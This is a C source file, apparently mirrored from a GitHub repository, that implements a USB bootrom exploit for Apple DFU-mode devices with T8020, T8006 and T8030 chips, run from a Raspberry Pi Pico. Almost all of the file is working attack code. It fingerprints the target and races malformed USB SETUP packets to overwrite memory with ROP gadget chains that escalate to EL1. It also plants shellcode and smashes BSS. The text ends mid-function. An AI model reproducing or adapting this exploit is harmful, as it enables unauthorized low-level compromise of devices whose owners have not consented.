mirror of
https://github.com/prdgmshift/usbliter8
synced 2026-06-27 12:59:56 +00:00
843 lines
24 KiB
C
843 lines
24 KiB
C
#include "exploit.h"
|
|
|
|
#include <pico/time.h>
|
|
#include <stdbool.h>
|
|
#include <stdlib.h>
|
|
#include <stdint.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
#include <hardware/sync.h>
|
|
#include "pico/stdlib.h"
|
|
|
|
#include "usb_crc.h"
|
|
#include "pio_usb.h"
|
|
#include "pio_usb_ll.h"
|
|
#include "usb_definitions.h"
|
|
|
|
#include "log.h"
|
|
#include "led.h"
|
|
#include "usb.h"
|
|
#include "bus.h"
|
|
|
|
// ======================== Device identification ========================
|
|
|
|
struct usb_setup_req_header {
|
|
uint8_t bmRequestType;
|
|
uint8_t bRequest;
|
|
uint16_t wValue;
|
|
uint16_t wIndex;
|
|
uint16_t wLength;
|
|
} __attribute__((packed));
|
|
|
|
struct usb_device_descriptor {
|
|
uint8_t bLength;
|
|
uint8_t bDescriptorType;
|
|
uint16_t bcdUSB;
|
|
uint8_t bDeviceClass;
|
|
uint8_t bDeviceSubClass;
|
|
uint8_t bDeviceProtocol;
|
|
uint8_t bMaxPacketSize;
|
|
uint16_t idVendor;
|
|
uint16_t idProduct;
|
|
uint16_t bcdDevice;
|
|
uint8_t iManufacturer;
|
|
uint8_t iProduct;
|
|
uint8_t iSerialNumber;
|
|
uint8_t bNumConfigurations;
|
|
} __attribute__((packed));
|
|
|
|
static
|
|
uint16_t decode_usb_sn_cpid(const char *serial) {
|
|
char raw_cpid[4 + 1] = { 0 };
|
|
|
|
const char *cpid_pos = strstr(serial, "CPID:");
|
|
if (!cpid_pos) {
|
|
goto fail;
|
|
}
|
|
|
|
cpid_pos += sizeof("CPID:") - 1;
|
|
|
|
memcpy(raw_cpid, cpid_pos, 4);
|
|
|
|
char *end = NULL;
|
|
uint16_t cpid = strtoul(raw_cpid, &end, 16);
|
|
|
|
if (!end || *end != '\0') {
|
|
goto fail;
|
|
}
|
|
|
|
return cpid;
|
|
|
|
fail:
|
|
INFO("couldn't decode CPID!");
|
|
return 0;
|
|
}
|
|
|
|
struct dev_identify_ctx {
|
|
uint16_t cpid;
|
|
bool pwnd;
|
|
};
|
|
|
|
static
|
|
int device_identify_internal(bus_t *b, void *_ctx) {
|
|
int rc = 0;
|
|
static uint8_t raw_serial[256] = { 0 };
|
|
static char serial[128] = { 0 };
|
|
struct usb_device_descriptor dev_desc = { 0 };
|
|
|
|
struct dev_identify_ctx *ctx = _ctx;
|
|
|
|
struct usb_setup_req_header dev_desc_req = {
|
|
.bmRequestType = 0x80,
|
|
.bRequest = 0x06,
|
|
.wValue = 0x0100,
|
|
.wIndex = 0x0000,
|
|
.wLength = sizeof(dev_desc)
|
|
};
|
|
|
|
rc = bus_control_xfer(b, (uint8_t *)&dev_desc_req, (uint8_t *)&dev_desc, sizeof(dev_desc), true, 100);
|
|
if (rc != 0) {
|
|
return -2;
|
|
}
|
|
|
|
if (dev_desc.idVendor != 0x5AC || dev_desc.idProduct != 0x1227) {
|
|
INFO("VID:0x%04X PID:0x%04X is not an Apple DFU device", dev_desc.idVendor, dev_desc.idProduct);
|
|
return -1;
|
|
}
|
|
|
|
struct usb_setup_req_header sn_req_pre = {
|
|
.bmRequestType = 0x80,
|
|
.bRequest = 0x06,
|
|
.wValue = 0x0300 | (dev_desc.iSerialNumber),
|
|
.wIndex = 0x0000,
|
|
.wLength = 0x0002
|
|
};
|
|
|
|
rc = bus_control_xfer(b, (uint8_t *)&sn_req_pre, raw_serial, 2, true, 100);
|
|
if (rc != 0) {
|
|
INFO("failed to request serial number (preflight)");
|
|
return rc;
|
|
}
|
|
|
|
uint8_t type = raw_serial[1];
|
|
if (type != 0x03) {
|
|
INFO("this doesn't look like a string descriptor");
|
|
return -1;
|
|
}
|
|
|
|
uint8_t len = raw_serial[0] - 2;
|
|
|
|
struct usb_setup_req_header sn_req = {
|
|
.bmRequestType = 0x80,
|
|
.bRequest = 0x06,
|
|
.wValue = 0x0300 | (dev_desc.iSerialNumber),
|
|
.wIndex = 0x0000,
|
|
.wLength = 0x0002 + len
|
|
};
|
|
|
|
rc = bus_control_xfer(b, (uint8_t *)&sn_req, raw_serial, sn_req.wLength, true, 100);
|
|
if (rc != 0) {
|
|
INFO("failed to request serial number");
|
|
return rc;
|
|
}
|
|
|
|
int i = 0;
|
|
for (; i < len / 2; i++) {
|
|
serial[i] = raw_serial[2 + i*2];
|
|
}
|
|
|
|
serial[i] = '\0';
|
|
|
|
INFO("got Apple DFU device:");
|
|
INFO("%s", serial);
|
|
|
|
ctx->cpid = decode_usb_sn_cpid(serial);
|
|
if (ctx->cpid == 0) {
|
|
return -1;
|
|
}
|
|
|
|
ctx->pwnd = strstr(serial, " PWND:[") != NULL;
|
|
|
|
return 0;
|
|
}
|
|
|
|
#define DEFAULT_USB_TIMEOUT (200 * 1000)
|
|
|
|
int device_identify(uint16_t *cpid, bool *pwnd) {
|
|
struct dev_identify_ctx ctx = {0};
|
|
|
|
int ret = usb_bus_execute(device_identify_internal, &ctx, DEFAULT_USB_TIMEOUT);
|
|
|
|
if (ret == 0) {
|
|
*cpid = ctx.cpid;
|
|
*pwnd = ctx.pwnd;
|
|
}
|
|
|
|
return ret;
|
|
}
|
|
|
|
// ======================== Overwrite buffers ========================
|
|
|
|
__attribute__((aligned(64)))
|
|
static uint32_t t8020_t8006_overwrite[0xC00 / 4] = { 0 };
|
|
|
|
__attribute__((aligned(64)))
|
|
static uint32_t t8020_t8006_shellcode[0x400 / 4] = { 0 };
|
|
|
|
// The overwrite goes in a weird order,
|
|
// so we gotta convert our payloads accordingly
|
|
|
|
static
|
|
void SET32(uint32_t *buf, uint64_t start, uint64_t addr, uint32_t val) {
|
|
uint32_t off = start - addr;
|
|
uint32_t group = off / (4 * 3);
|
|
uint32_t left = off % (4 * 3);
|
|
|
|
if (left) {
|
|
group += 1;
|
|
}
|
|
|
|
uint32_t ov_off = group * 3 + (left ? (12 - left) / 4 : 0) - 3 - 1;
|
|
|
|
buf[ov_off] = val;
|
|
}
|
|
|
|
static
|
|
void SET64(uint32_t *buf, uint64_t start, uint64_t addr, uint64_t val) {
|
|
uint32_t lo = val & (0xFFFFFFFF);
|
|
uint32_t hi = (val >> 32);
|
|
|
|
SET32(buf, start, addr, lo);
|
|
SET32(buf, start, addr + 4, hi);
|
|
}
|
|
|
|
static
|
|
void SETMANY(uint32_t *buf, uint64_t start, uint64_t addr, const void *data, size_t len) {
|
|
for (size_t i = 0; i < len; i += 4) {
|
|
uint32_t val = *(uint32_t *)(data + i);
|
|
SET32(buf, start, addr + i, val);
|
|
}
|
|
}
|
|
|
|
// ================== Overwrite transfer implementation ==================
|
|
|
|
volatile uint16_t crazy_delay = 0; // sleep between attempts (us)
|
|
|
|
#define N_TIMEOUT_THRESHOLD 64 // having too many timeouts is a failure, for sure
|
|
#define PRINT_EVERY 128 // emit a progress line every X attempts (DEBUG mode only)
|
|
|
|
#define PB_MAX_PAYLOAD 256
|
|
|
|
#define PB_ENCODED_BUF_SIZE(raw_bytes) (((raw_bytes) * 2 * 7 / 6) + 8)
|
|
|
|
size_t pb_data(uint8_t pid_data, const uint8_t *payload, size_t payload_len, uint8_t encoded[]) {
|
|
uint8_t raw[2 + PB_MAX_PAYLOAD + 2] = { 0 };
|
|
|
|
raw[0] = USB_SYNC;
|
|
raw[1] = pid_data;
|
|
|
|
if (payload && payload_len) {
|
|
memcpy(&raw[2], payload, payload_len);
|
|
}
|
|
|
|
uint16_t crc = calc_usb_crc16(payload, payload_len);
|
|
raw[2 + payload_len] = crc & 0xff;
|
|
raw[2 + payload_len + 1] = (crc >> 8) & 0xff;
|
|
|
|
return pio_usb_ll_encode_tx_data(raw, 2 + payload_len + 2, encoded);
|
|
}
|
|
|
|
__always_inline
|
|
static int pb_transfer(bus_t *b, int token, void *enc_data, size_t enc_len) {
|
|
uint8_t hs = -1;
|
|
pio_port_t *pp = b->pp;
|
|
|
|
uint32_t irq = save_and_disable_interrupts();
|
|
{
|
|
pio_usb_bus_prepare_receive(pp);
|
|
pio_usb_bus_send_token(pp, token, b->dev->address, 0);
|
|
pio_usb_bus_usb_transfer(pp, enc_data, enc_len);
|
|
pio_usb_bus_start_receive(pp);
|
|
hs = pio_usb_bus_wait_handshake(pp);
|
|
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false);
|
|
}
|
|
restore_interrupts(irq);
|
|
|
|
return hs;
|
|
}
|
|
|
|
struct crazy_counter {
|
|
uint32_t n_ack;
|
|
uint32_t n_timeout;
|
|
uint32_t n_other;
|
|
uint32_t attempts;
|
|
};
|
|
|
|
__always_inline
|
|
static int counter_advance(struct crazy_counter *cnt, uint8_t hs) {
|
|
cnt->attempts++;
|
|
switch (hs) {
|
|
case USB_PID_ACK: cnt->n_ack++; break;
|
|
case 0: cnt->n_timeout++; break;
|
|
default: cnt->n_other++; break;
|
|
}
|
|
|
|
if (cnt->n_timeout > N_TIMEOUT_THRESHOLD) {
|
|
INFO("too many timeouts, failing");
|
|
return -1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
static int crazy_transfer(bus_t *b, uint32_t buf[], uint32_t n_iter) {
|
|
struct crazy_counter cnt = { 0 };
|
|
uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 };
|
|
|
|
register uint64_t delay = crazy_delay;
|
|
|
|
DEBUG("target=%ld ACKs, delay=%dus", n_iter, delay);
|
|
|
|
while (cnt.n_ack < n_iter) {
|
|
uint32_t pattern = buf[cnt.n_ack];
|
|
size_t enc_len = pb_data(USB_PID_DATA0, (void *)&pattern, sizeof(pattern), encoded);
|
|
uint8_t hs = pb_transfer(b, USB_PID_SETUP, encoded, enc_len);
|
|
|
|
if (counter_advance(&cnt, hs) != 0) {
|
|
return -1;
|
|
}
|
|
|
|
sleep_us(delay);
|
|
}
|
|
|
|
DEBUG("done: ACK=%ld TIMEOUT=%ld other=%ld (in %ld attempts)", cnt.n_ack, cnt.n_timeout, cnt.n_other, cnt.attempts);
|
|
|
|
return 0;
|
|
}
|
|
|
|
// ======================== T8020 & T8006 stuff ========================
|
|
|
|
// This is common for both T8020 & T8006
|
|
#define TASK_SLEEP_US (400000)
|
|
|
|
struct t8020_t8006_config {
|
|
uint16_t cpid;
|
|
uint16_t delay;
|
|
uint64_t ov_start;
|
|
uint32_t ov_size;
|
|
uint64_t shc_base;
|
|
uint64_t shc_start;
|
|
uint32_t shc_size;
|
|
void (*create_overwrite)(struct t8020_t8006_config *);
|
|
void (*create_shellcode)(struct t8020_t8006_config *);
|
|
};
|
|
|
|
#include "resources/descriptors_t8020.h"
|
|
#include "resources/shellcode_t8020.h"
|
|
#include "resources/handler_t8020.h"
|
|
|
|
void t8020_create_overwrite(struct t8020_t8006_config *config) {
|
|
uint64_t ov_start = config->ov_start;
|
|
|
|
// new LR - load X19
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b18, 0x10000FC30);
|
|
|
|
// load X19 gadget frame
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b58, 0x19C028D00); // X19
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b68, 0x100007510); // next LR - load W8
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028d00, 0x19C018400); // set X19 value for store
|
|
|
|
// load W8 gadget frame
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b78, 0x239100b14); // X19 - write addr for next step
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b88, 0x100007358); // next LR - store W8 to X19
|
|
|
|
// store W8 gadget frame
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028ba8, 0x10000e2bc); // next LR - load W0
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b90, 0x19c028d00); // X20 - delay addr - 8
|
|
SET32(t8020_t8006_overwrite, ov_start, 0x19c028d08, TASK_SLEEP_US); // set delay value
|
|
|
|
// load W0 gadget frame
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028bd8, 0x100003948); // next LR - BLR X19
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028bc8, 0x100009880); // X19 - task_sleep()
|
|
|
|
// BLR X19 gadget frame
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028c28, 0x1000088B0); // next LR - escalate to EL1
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028c00, 0x19C034000); // X22
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028bf8, 0x19C034000); // X23
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x19c028bf0, 0x100000200); // X24 - lol
|
|
|
|
// put back (some of) the stuff we destroy
|
|
SETMANY(t8020_t8006_overwrite, ov_start, 0x19c029400, ov_descriptors_t8020, sizeof(ov_descriptors_t8020));
|
|
}
|
|
|
|
void t8020_create_shellcode(struct t8020_t8006_config *config) {
|
|
uint64_t shc_start = config->shc_start;
|
|
uint64_t shc_base = config->shc_base;
|
|
|
|
SETMANY(t8020_t8006_shellcode, shc_start, shc_base, shellcode_t8020, sizeof(shellcode_t8020));
|
|
|
|
uint32_t aligned = (sizeof(handler_t8020) + (16 - 1)) & ~(16 - 1);
|
|
SET32(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8020) - 0x10, aligned);
|
|
SETMANY(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8020), handler_t8020, sizeof(handler_t8020));
|
|
}
|
|
|
|
struct t8020_t8006_config t8020_config = {
|
|
0x8020,
|
|
#if PICO_RP2350
|
|
10,
|
|
#elif PICO_RP2040
|
|
5,
|
|
#endif
|
|
0x19C02960C,
|
|
0xB04,
|
|
0x19C018000,
|
|
0x19C0183EC,
|
|
0x400,
|
|
t8020_create_overwrite,
|
|
t8020_create_shellcode
|
|
};
|
|
|
|
#include "resources/descriptors_t8006.h"
|
|
#include "resources/shellcode_t8006.h"
|
|
#include "resources/handler_t8006.h"
|
|
|
|
void t8006_create_overwrite(struct t8020_t8006_config *config) {
|
|
uint64_t ov_start = config->ov_start;
|
|
|
|
// new LR - load X19
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b18, 0x10000FBB8);
|
|
|
|
// load X19 gadget frame
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b58, 0x1801d8d00); // X19
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b68, 0x100008048); // next LR - load W8
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8d00, 0x1801C8400); // set X19 value for store
|
|
|
|
// load W8 gadget frame
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b78, 0x230100B14); // X19 - write addr for next step
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b88, 0x10000771C); // next LR - store W8 to X19
|
|
|
|
// store W8 gadget frame
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8ba8, 0x10000E25C); // next LR - load W0
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b90, 0x1801d8d00); // X20 - delay addr - 8
|
|
SET32(t8020_t8006_overwrite, ov_start, 0x1801d8d08, TASK_SLEEP_US); // set delay value
|
|
|
|
// load W0 gadget frame
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bd8, 0x10000375C); // next LR - BLR X19
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bc8, 0x1000097DC); // X19 - task_sleep()
|
|
|
|
// BLR X19 gadget frame
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8c28, 0x100008848); // next LR - escalate to EL1
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8c00, 0x1801C4000); // X22
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bf8, 0x1801C4000); // X23
|
|
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bf0, 0x100000200); // X24 - lol
|
|
|
|
// put back (some of) the stuff we destroy
|
|
SETMANY(t8020_t8006_overwrite, ov_start, 0x1801d9400, ov_descriptors_t8006, sizeof(ov_descriptors_t8006));
|
|
}
|
|
|
|
void t8006_create_shellcode(struct t8020_t8006_config *config) {
|
|
uint64_t shc_start = config->shc_start;
|
|
uint64_t shc_base = config->shc_base;
|
|
|
|
SETMANY(t8020_t8006_shellcode, shc_start, shc_base, shellcode_t8006, sizeof(shellcode_t8006));
|
|
|
|
uint32_t aligned = (sizeof(handler_t8006) + (16 - 1)) & ~(16 - 1);
|
|
SET32(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8006) - 0x10, aligned);
|
|
SETMANY(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8006), handler_t8006, sizeof(handler_t8006));
|
|
}
|
|
|
|
struct t8020_t8006_config t8006_config = {
|
|
0x8006,
|
|
#if PICO_RP2350
|
|
20,
|
|
#elif PICO_RP2040
|
|
10,
|
|
#endif
|
|
0x1801D960C,
|
|
0xB04,
|
|
0x1801C8000,
|
|
0x1801C83EC,
|
|
0x400,
|
|
t8006_create_overwrite,
|
|
t8006_create_shellcode
|
|
};
|
|
|
|
int t8020_t8006_exploit_run(bus_t *b, void *ctx) {
|
|
uint16_t cpid = *(uint16_t *)ctx;
|
|
struct t8020_t8006_config *config = NULL;
|
|
|
|
switch (cpid) {
|
|
case 0x8020:
|
|
config = &t8020_config;
|
|
break;
|
|
|
|
case 0x8006:
|
|
config = &t8006_config;
|
|
break;
|
|
|
|
default:
|
|
INFO("bad CPID 0x%04X passed!", cpid);
|
|
return -1;
|
|
}
|
|
|
|
memset(t8020_t8006_overwrite, 0, sizeof(t8020_t8006_overwrite));
|
|
memset(t8020_t8006_shellcode, 0, sizeof(t8020_t8006_shellcode));
|
|
|
|
crazy_delay = config->delay;
|
|
|
|
INFO("start");
|
|
|
|
/* ============ initializing overwrite ============ */
|
|
|
|
config->create_overwrite(config);
|
|
|
|
/* ============ initializing shellcodes ============ */
|
|
|
|
config->create_shellcode(config);
|
|
|
|
/* ========== doing the initial overwrite ========== */
|
|
|
|
if (crazy_transfer(b, t8020_t8006_overwrite, config->ov_size / 4) != 0) {
|
|
INFO("initial overwrite FAILED");
|
|
return -1;
|
|
}
|
|
|
|
/* ============ planting the shellcode ============ */
|
|
|
|
sleep_ms(5);
|
|
|
|
if (crazy_transfer(b, t8020_t8006_shellcode, config->shc_size / 4) != 0) {
|
|
INFO("planting shellcode FAILED");
|
|
return -1;
|
|
}
|
|
|
|
/* ======== giving the ROM a chance to pwn ======== */
|
|
|
|
sleep_ms(486); // let's have some respect for x86 also
|
|
|
|
return 0;
|
|
}
|
|
|
|
// ============================ T8030 stuff ============================
|
|
|
|
#define T8030_CRAZY_DELAY 2
|
|
|
|
int __no_inline_not_in_flash_func(fcall_crazy_transfer)(bus_t *b, uint64_t pc, uint64_t arg0) {
|
|
struct crazy_counter cnt = { 0 };
|
|
uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 };
|
|
|
|
DEBUG("delay=%dus", T8030_CRAZY_DELAY);
|
|
|
|
while (cnt.n_ack < 7) {
|
|
uint64_t pattern = 0;
|
|
size_t setup_size = 8;
|
|
|
|
if ((!cnt.n_ack) || (cnt.n_ack == 4) || (cnt.n_ack == 5)) {
|
|
setup_size = 4;
|
|
}
|
|
|
|
if (cnt.n_ack == 3) {
|
|
pattern = arg0;
|
|
}
|
|
|
|
if (cnt.n_ack == 6) {
|
|
pattern = pc;
|
|
}
|
|
|
|
size_t enc_len = pb_data(USB_PID_DATA0, (void *)&pattern, setup_size, encoded);
|
|
uint8_t hs = pb_transfer(b, USB_PID_SETUP, encoded, enc_len);
|
|
|
|
if (counter_advance(&cnt, hs) != 0) {
|
|
return -1;
|
|
}
|
|
|
|
if ((cnt.attempts % PRINT_EVERY) == 0) {
|
|
DEBUG(" [att=%6ld ack=%6ld/7] ACK=%ld TIMEOUT=%ld other=%ld",
|
|
cnt.attempts, cnt.n_ack, cnt.n_ack, cnt.n_timeout, cnt.n_other);
|
|
}
|
|
|
|
// sleep_us(T8030_CRAZY_DELAY);
|
|
}
|
|
|
|
DEBUG("done: ACK=%ld TIMEOUT=%ld other=%ld (in %ld attempts)",
|
|
cnt.n_ack, cnt.n_timeout, cnt.n_other, cnt.attempts);
|
|
|
|
return 0;
|
|
}
|
|
|
|
bool reset_dma_buf(bus_t *b) {
|
|
uint32_t pattern = 0x41414242;
|
|
uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 };
|
|
|
|
size_t enc_len = pb_data(USB_PID_DATA1, (const uint8_t *)&pattern, sizeof(pattern), encoded);
|
|
uint8_t hs = pb_transfer(b, USB_PID_OUT, encoded, enc_len);
|
|
|
|
sleep_us(T8030_CRAZY_DELAY);
|
|
|
|
DEBUG("done, handshake: %d\n", hs);
|
|
|
|
return hs == USB_PID_ACK;
|
|
}
|
|
|
|
int __no_inline_not_in_flash_func(push_base)(bus_t *b, uint32_t n_iter) {
|
|
struct crazy_counter cnt = { 0 };
|
|
uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 };
|
|
|
|
DEBUG("target=%ld ACKs, delay=%dus",
|
|
n_iter, T8030_CRAZY_DELAY);
|
|
|
|
uint32_t pattern = 0x41424344;
|
|
size_t enc_len = pb_data(USB_PID_DATA0, (const uint8_t *)&pattern, sizeof(pattern), encoded);
|
|
|
|
#if DEBUG_ENABLED
|
|
absolute_time_t start_race = get_absolute_time();
|
|
#endif
|
|
|
|
while (cnt.n_ack < n_iter) {
|
|
uint8_t hs = pb_transfer(b, USB_PID_SETUP, encoded, enc_len);
|
|
|
|
if (counter_advance(&cnt, hs) != 0) {
|
|
return -1;
|
|
}
|
|
|
|
if ((cnt.attempts % PRINT_EVERY) == 0) {
|
|
DEBUG(" [att=%6ld ack=%6ld/%ld] ACK=%ld TIMEOUT=%ld other=%ld",
|
|
cnt.attempts, cnt.n_ack, n_iter, cnt.n_ack, cnt.n_timeout, cnt.n_other);
|
|
}
|
|
|
|
// sleep_us(T8030_CRAZY_DELAY);
|
|
}
|
|
|
|
#if DEBUG_ENABLED
|
|
absolute_time_t end_race = get_absolute_time();
|
|
#endif
|
|
DEBUG("race - %lld us", absolute_time_diff_us(start_race, end_race));
|
|
|
|
DEBUG("done: ACK=%ld TIMEOUT=%ld other=%ld (in %ld attempts)",
|
|
cnt.n_ack, cnt.n_timeout, cnt.n_other, cnt.attempts);
|
|
|
|
return 0;
|
|
}
|
|
|
|
#include "resources/shellcode_t8030.h"
|
|
#include "resources/handler_t8030.h"
|
|
|
|
int t8030_exploit_run(bus_t *b, __unused void *ctx) {
|
|
crazy_delay = T8030_CRAZY_DELAY;
|
|
|
|
/* ========= Assembling the shellcode in advance ========= */
|
|
|
|
const uint64_t shc_start = 0x19c018808;
|
|
uint32_t shc[0x204] = { 0 };
|
|
|
|
SETMANY(shc, shc_start, 0x19c018000, shellcode_t8030, sizeof(shellcode_t8030));
|
|
|
|
uint32_t aligned = (sizeof(handler_t8030) + (16 - 1)) & ~(16 - 1);
|
|
SET32(shc, shc_start, 0x19c018000 + sizeof(shellcode_t8030) - 0x10, aligned);
|
|
SETMANY(shc, shc_start, 0x19c018000 + sizeof(shellcode_t8030), handler_t8030, sizeof(handler_t8030));
|
|
|
|
/* ============ setting up dart_free() write ============ */
|
|
|
|
const uint64_t panicdepth_ow_start = 0x19C02950C;
|
|
static uint32_t panicdepth_ow_buffer[0x33] = { 0 };
|
|
|
|
SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c0294f0, 0x4e00);
|
|
SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c0294f8, 0x19c01031d);
|
|
SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029440, 0x19c0294d8);
|
|
SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029448, 0x19c0294e0);
|
|
SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029450, 0x1);
|
|
SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029458, 0x1);
|
|
SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029460, 0x1);
|
|
SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029468, 0x1);
|
|
|
|
crazy_transfer(b, panicdepth_ow_buffer, 0x33);
|
|
|
|
reset_dma_buf(b);
|
|
bus_reset_ep0_reopen(b);
|
|
|
|
/* ============ abort DFU and trigger it ============ */
|
|
|
|
struct usb_setup_req_header dfu_abort_req = {
|
|
.bmRequestType = 0x21,
|
|
.bRequest = 0x06,
|
|
.wValue = 0x0000,
|
|
.wIndex = 0x0000,
|
|
.wLength = 0x0000
|
|
};
|
|
|
|
bus_control_xfer(b, (uint8_t *)&dfu_abort_req, NULL, 0, false, 100);
|
|
|
|
bus_reset_ep0_reopen(b);
|
|
|
|
/* ============ race to skip LR of task struct ============ */
|
|
|
|
// uint32_t irq = save_and_disable_interrupts();
|
|
|
|
#define DELTA (3)
|
|
|
|
push_base(b, 0x300 + DELTA);
|
|
sleep_us(133);
|
|
push_base(b, 0x18 + 6 - DELTA);
|
|
|
|
// restore_interrupts(irq);
|
|
|
|
/* ============ breaking IRQ enter depth counter ============ */
|
|
|
|
static uint32_t lockref_smash_buffer[0x81] = { 0 };
|
|
memset(lockref_smash_buffer, 0xee, sizeof(lockref_smash_buffer));
|
|
|
|
lockref_smash_buffer[7] = 0x42424242;
|
|
lockref_smash_buffer[8] = 0x43434343;
|
|
|
|
lockref_smash_buffer[14] = 0x9c028858; // 0x20
|
|
lockref_smash_buffer[9] = 0x1; // 0x24
|
|
|
|
lockref_smash_buffer[10] = 0x3; // 0x28
|
|
lockref_smash_buffer[11] = 0x1; // 0x2c
|
|
|
|
lockref_smash_buffer[12] = 0x9c028858; // 0x18
|
|
lockref_smash_buffer[13] = 0x1; // 0x1c
|
|
|
|
lockref_smash_buffer[20] = 0x9c00c900; // 0x08
|
|
lockref_smash_buffer[15] = 0x1; // 0x0c
|
|
|
|
lockref_smash_buffer[16] = 0x9c0107c8; // 0x10
|
|
lockref_smash_buffer[17] = 0x1; // 0x14
|
|
|
|
lockref_smash_buffer[18] = 0x68; // 0x00
|
|
lockref_smash_buffer[19] = 0x69; // 0x04
|
|
|
|
lockref_smash_buffer[21] = 0x71;
|
|
lockref_smash_buffer[22] = 0x72;
|
|
|
|
sleep_us(37);
|
|
crazy_transfer(b, lockref_smash_buffer + 1, sizeof(lockref_smash_buffer) / 4);
|
|
sleep_us(37);
|
|
|
|
/* ============ Planting the shellcode ============ */
|
|
|
|
// You Can (Not) Advance
|
|
push_base(b, 3 * (0x1536));
|
|
|
|
bus_reset_ep0_reopen(b);
|
|
|
|
crazy_transfer(b, shc, 0x204);
|
|
|
|
push_base(b, 3 * 0x405);
|
|
|
|
/* ============ smashing BSS ============ */
|
|
|
|
const uint64_t bss_smash_base = 0x19c014fbc;
|
|
static uint32_t bss_my_beloved[0x1800] = { 0 };
|
|
|
|
// USB driver magic vals
|
|
SET32(bss_my_beloved, bss_smash_base, 0x19c010a54, 1);
|
|
SET32(bss_my_beloved, bss_smash_base, 0x19c010a60, 0x3ff);
|
|
SET32(bss_my_beloved, bss_smash_base, 0x19c010a64, 0x7ffff);
|
|
SET32(bss_my_beloved, bss_smash_base, 0x19c010a68, 0x300a);
|
|
|
|
// X22 check workaround
|
|
SET64(bss_my_beloved, bss_smash_base, 0x19c010208, 0x0);
|
|
SET64(bss_my_beloved, bss_smash_base, 0x19c010208 + 0x10, 0x100008EDC);
|
|
SET64(bss_my_beloved, bss_smash_base, 0x19c010208 + 0x4C, 0x1);
|
|
|
|
crazy_transfer(b, bss_my_beloved, 0x140c);
|
|
bus_reset_ep0_reopen(b);
|
|
|
|
fcall_crazy_transfer(b, 0x10000A5E8, 0x19c010208);
|
|
|
|
// respect Intel as usual
|
|
sleep_ms(286);
|
|
|
|
return 0;
|
|
}
|
|
|
|
// ======================= High-level exploit logic =======================
|
|
|
|
#define EXPLOIT_TIMEOUT (3 * 1000 * 1000)
|
|
|
|
int exploit_run(void) {
|
|
uint16_t cpid = -1;
|
|
bool pwnd = false;
|
|
|
|
int ret = device_identify(&cpid, &pwnd);
|
|
|
|
if (ret != 0) {
|
|
return ret;
|
|
}
|
|
|
|
if (pwnd) {
|
|
INFO("already PWNED!");
|
|
return -2;
|
|
}
|
|
|
|
led_set_state(LED_STATE_RUNNING);
|
|
|
|
absolute_time_t start = get_absolute_time();
|
|
|
|
// There used to be memset's for A12-specific buffers
|
|
// just before this switch. After moving them into
|
|
// the A12-specific code, A13 reliability dropped
|
|
// This little delay restores it...
|
|
//
|
|
// UPDATE: also breaks A12 reliability on RP2040,
|
|
// so let's put this delay unconditionally
|
|
sleep_ms(60);
|
|
|
|
usb_executee_t func = NULL;
|
|
|
|
switch (cpid) {
|
|
case 0x8020:
|
|
case 0x8006:
|
|
func = t8020_t8006_exploit_run;
|
|
break;
|
|
|
|
case 0x8030:
|
|
#if PICO_RP2040
|
|
INFO("WARNING: T8030 is not currently supported with RP2040, trying anyway though");
|
|
#endif
|
|
func = t8030_exploit_run;
|
|
break;
|
|
|
|
default:
|
|
INFO("T%04X is not supported (yet?)", cpid);
|
|
goto fail;
|
|
}
|
|
|
|
ret = usb_bus_execute(func, &cpid, EXPLOIT_TIMEOUT);
|
|
|
|
if (ret != 0) {
|
|
goto fail;
|
|
}
|
|
|
|
/* =========== checking if it all worked =========== */
|
|
|
|
usb_bus_reset_open_ep0();
|
|
|
|
if (device_identify(&cpid, &pwnd) != 0) {
|
|
INFO("cannot re-discover the device after the exploit!");
|
|
goto fail;
|
|
}
